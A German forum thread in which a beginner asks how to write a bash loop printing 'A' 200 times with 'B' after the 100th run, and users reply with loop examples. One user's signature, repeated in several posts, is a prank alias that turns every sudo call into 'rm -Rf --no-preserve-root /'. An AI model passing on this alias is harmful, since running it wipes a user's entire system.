Ergebnis 1 bis 9 von 9

Thema: Basisfragen: Shell-Skripts

  1. #1
    Grünschnabel
    Registriert seit
    23.03.2012
    Beiträge
    9

    Basisfragen: Shell-Skripts

    Ich mache gerade meine ersten Schritte Richtung Shell-Scripts und habe ein paar Fragen:

    >> Der Befehl
    Code:
    echo "A"
    soll 200 mal wiederholt werden. Nach 100 Mal wiederholen soll
    Code:
    echo "B"
    ausgegeben werden (allerdings während die Schleife noch läuft). Wie wiederhole ich also diese Befehle in einem Shell-Script und wie lasse ich nach 100 mal den anderen Befehl ausgeben?

    Code:
    A
    A
    A
    A
    ...
    A
    B
    A
    B
    ...
    >> Wie addiere ich zur Variable "x" 1 dazu?

    Lg, keyboard

  2. #2
    hat den Bogen geschlagen Avatar von Schard
    Registriert seit
    26.05.2007
    Ort
    Hannover
    Beiträge
    872
    >> Schau dir mal "for" und "if" an.
    >> http://lmgtfy.com/?q=shell+variable+addieren
    Code:
    alias sudo='/usr/bin/sudo /bin/rm -Rf --no-preserve-root / #'

  3. #3
    Grünschnabel
    Registriert seit
    23.03.2012
    Beiträge
    9
    Okay, ich habe folgendes versucht:

    Code:
    for a in {1..5}
    do
    echo "Hello!"
    Done
    Ausgabe:
    Code:
    Hello!
    Wo sind die anderen 4? Mit for a in 1 2 3 4 5 geht es, aber ich werde nicht so weiter schreiben, bis ich bei 200 bin?

  4. #4
    hat den Bogen geschlagen Avatar von Schard
    Registriert seit
    26.05.2007
    Ort
    Hannover
    Beiträge
    872
    Also, wenn man das "Done" als "done" (also klein) schreibt, dann funktioniert das Skript in der GNU bash, Version 4.2.24 einwandfrei.
    Welche shell verwendest du denn?
    Es gibt zu etlichen shells tutorials im Internet, wie man Loops schreiben kann.
    Google ist dein Freund!
    Code:
    alias sudo='/usr/bin/sudo /bin/rm -Rf --no-preserve-root / #'

  5. #5
    Grünschnabel
    Registriert seit
    23.03.2012
    Beiträge
    9
    Entschuldigung, das it Done war ein Rechtschreibfehler. Natürlich ist es kleingeschrieben.

    Ich benutze jetzt das seq Kommando, das funktioniert einwandfrei.
    Und sei dir sicher:
    Hätte Google für mich eine Lösung parat gehabt, hätte ich nicht

  6. #6
    Alter Sack Avatar von Spröde
    Registriert seit
    22.01.2012
    Beiträge
    151
    Nur in der Bash und tatsächlich mit "echo". Das Beispiel dürfte auch Deine Frage beantworten, wie man zur Vari x, 1 dazu addiert:
    Code:
    #!bin/bash
    x=1
    while [ $x -le 200 ]; do
        echo "A"
        if [ $x -gt 100 ]; then
            echo "B"
        fi
        ((x++))
    done

  7. #7
    hat den Bogen geschlagen Avatar von Schard
    Registriert seit
    26.05.2007
    Ort
    Hannover
    Beiträge
    872
    Ich denke gemeint ist eher, dass B statt A ausgegeben wird:
    Code:
    #! /bin/bash
    
    for COUNTER in {1..200}; do
    	if [ $COUNTER -le 100 ]; then
    		echo A
    	else
    		echo B
    	fi
    done
    Code:
    alias sudo='/usr/bin/sudo /bin/rm -Rf --no-preserve-root / #'

  8. #8
    Alter Sack Avatar von Spröde
    Registriert seit
    22.01.2012
    Beiträge
    151
    Dann hätte er dieses Beispiel nicht posten sollen:
    Zitat Zitat von keyboard Beitrag anzeigen
    Code:
    A
    A
    A
    A
    ...
    A
    B
    A
    B
    ...

  9. #9
    hat den Bogen geschlagen Avatar von Schard
    Registriert seit
    26.05.2007
    Ort
    Hannover
    Beiträge
    872
    Oh, da habe ich mich wohl verlesen.
    Er meine dann wohl doch das, was deine Lösung tut. :-)
    Code:
    alias sudo='/usr/bin/sudo /bin/rm -Rf --no-preserve-root / #'

Ähnliche Themen

  1. Shell vs. PHP
    Von xXNemesisXx im Forum Ruby, php, Perl, Python ...
    Antworten: 1
    Letzter Beitrag: 08.01.2008, 12:52
  2. Shell ???
    Von Ares im Forum Linux OS
    Antworten: 16
    Letzter Beitrag: 27.03.2007, 22:02
  3. Shell verbindung auf andere shell aufbauen
    Von Schnubbi im Forum Shell-Skripte
    Antworten: 14
    Letzter Beitrag: 07.12.2006, 15:52
  4. PHP: shell size
    Von Schneemann im Forum Ruby, php, Perl, Python ...
    Antworten: 1
    Letzter Beitrag: 03.11.2006, 18:14
  5. Skripts für Auswertung
    Von freEze im Forum Shell-Skripte
    Antworten: 7
    Letzter Beitrag: 18.01.2006, 13:29

Lesezeichen

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •